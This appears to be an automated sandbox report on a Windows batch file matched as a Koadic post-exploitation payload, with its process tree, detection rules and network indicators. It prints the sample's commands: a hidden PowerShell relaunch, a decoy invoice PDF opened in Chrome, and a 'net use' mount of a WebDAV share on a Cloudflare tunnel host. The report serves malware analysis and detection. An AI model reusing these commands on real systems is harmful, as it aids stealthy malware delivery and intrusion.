Edit tour

Windows Analysis Report
2h.bat

Overview

General Information

Sample name:	2h.bat
Analysis ID:	1647126
MD5:	0110fbc81a42c9376f10dbe604491f77
SHA1:	daf5f87aea0e57749d2951014d3dfdee9b57fa30
SHA256:	ae8c6e7884ebe53f38a11df2b90c84bad4b4fa192dd361a58dc33db4fddb33d0
Tags:	batWsgiDAVuser-JAMESWT_MHT
Infos:

Detection

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Gathers information about network shares

Joe Sandbox ML detected suspicious sample

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

DNS query to tunneling platform domain

Deletes files inside the Windows folder

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7972 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\2h.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8152 cmdline: powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5036 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 1692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,15914125147527683270,510566878733152321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2060 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

net.exe (PID: 1424 cmdline: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net.exe (PID: 4940 cmdline: net use Z: /delete /yes MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
2h.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x58:$s2: :~16,1%% 0x63:$s2: :~47,1%% 0x6e:$s2: :~2,1%% 0x78:$s2: :~4,1%% 0x8b:$s2: :~62,1% 0x99:$s2: :~23,1%% 0xa4:$s2: :~53,1%% 0xaf:$s2: :~57,1% 0xbb:$s2: :~55,1%% 0xc6:$s2: :~0,1%% 0xd0:$s2: :~20,1%% 0xdb:$s2: :~8,1%% 0xe5:$s2: :~14,1%% 0xf0:$s2: :~32,1%% 0xfb:$s2: :~46,1%% 0x106:$s2: :~4,1%% 0x110:$s2: :~58,1%% 0x11b:$s2: :~1,1%% 0x125:$s2: :~51,1%% 0x130:$s2: :~12,1%%

Sigma Signatures

System Summary

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , CommandLine: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5036, ParentProcessName: cmd.exe, ProcessCommandLine: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , ProcessId: 1424, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden", CommandLine: powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\2h.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden", ProcessId: 8152, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , CommandLine: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5036, ParentProcessName: cmd.exe, ProcessCommandLine: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , ProcessId: 1424, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , CommandLine: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5036, ParentProcessName: cmd.exe, ProcessCommandLine: net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no , ProcessId: 1424, ProcessName: net.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-24T15:50:15.149265+0100	2028371	3	Unknown Traffic	192.168.2.4	49722	104.16.231.132	443	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-24T15:50:15.942803+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49722	104.16.231.132	443	TCP
2025-03-24T15:50:20.162097+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49733	104.16.231.132	443	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2h.bat

Virustotal: Detection: 11%

Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.6% probability

Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.4:49740 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49733 -> 104.16.231.132:443
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49722 -> 104.16.231.132:443

Source: unknown

DNS query to tunneling platform domain: name: supplier-murray-custody-treasures.trycloudflare.com

Source: Joe Sandbox View	IP Address: 162.159.134.42 162.159.134.42
Source: Joe Sandbox View	IP Address: 162.159.134.42 162.159.134.42
Source: Joe Sandbox View	IP Address: 104.16.231.132 104.16.231.132

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49722 -> 104.16.231.132:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: supplier-murray-custody-treasures.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.healyconsultants.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 14:50:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 9256faf3384ec64a-EWRCF-Cache-Status: DYNAMICServer: cloudflare

Source: net.exe, 0000000C.00000002.1578721214.0000018794695000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1536962933.00000187946AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578721214.00000187946C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://supplier-murray-custody-treasures.trycloudflare.com/
Source: net.exe, 0000000C.00000002.1578721214.0000018794659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://supplier-murray-custody-treasures.trycloudflare.com//
Source: net.exe, 0000000C.00000002.1578721214.00000187946C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://supplier-murray-custody-treasures.trycloudflare.com/K
Source: cmd.exe, 00000009.00000003.1581240038.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.0000017244472000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.healyconsultants.com/wp-content/upl0W
Source: cmd.exe, 00000009.00000003.1581240038.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.0000017244409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244408000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581240038.0000017244407000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.00000172443DC000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578652526.00000187945B4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578721214.0000018794659000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580722369.000001332AE59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580763388.000001332B0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf
Source: cmd.exe, 00000009.00000003.1581000924.0000017244489000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1519588740.0000017244404000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244408000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244478000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244478000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244489000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579632176.000001724448B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1523273437.000001724448C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581186413.0000017244478000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579778025.000001724447A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581186413.0000017244489000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580174687.000001724448B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578652526.00000187945B4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578721214.0000018794650000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580722369.000001332AE50000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580763388.000001332B0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfPROCESSOR_ARCHI
Source: cmd.exe, 00000009.00000002.1582397233.0000017244409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244408000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581240038.0000017244407000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfVk
Source: cmd.exe, 00000009.00000002.1582397233.00000172443DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfr

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.4:49740 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 2h.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir1692_1832859539

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir1692_1832859539

Jump to behavior

Source: 2h.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal76.spyw.winBAT@30/4@9/4

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Contacts\error_log.txt

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5872:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khxdrv4d.0iw.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\2h.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 2h.bat

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\2h.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,15914125147527683270,510566878733152321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2060 /prefetch:3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: /delete /yes
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: /delete /yes	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,15914125147527683270,510566878733152321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2060 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
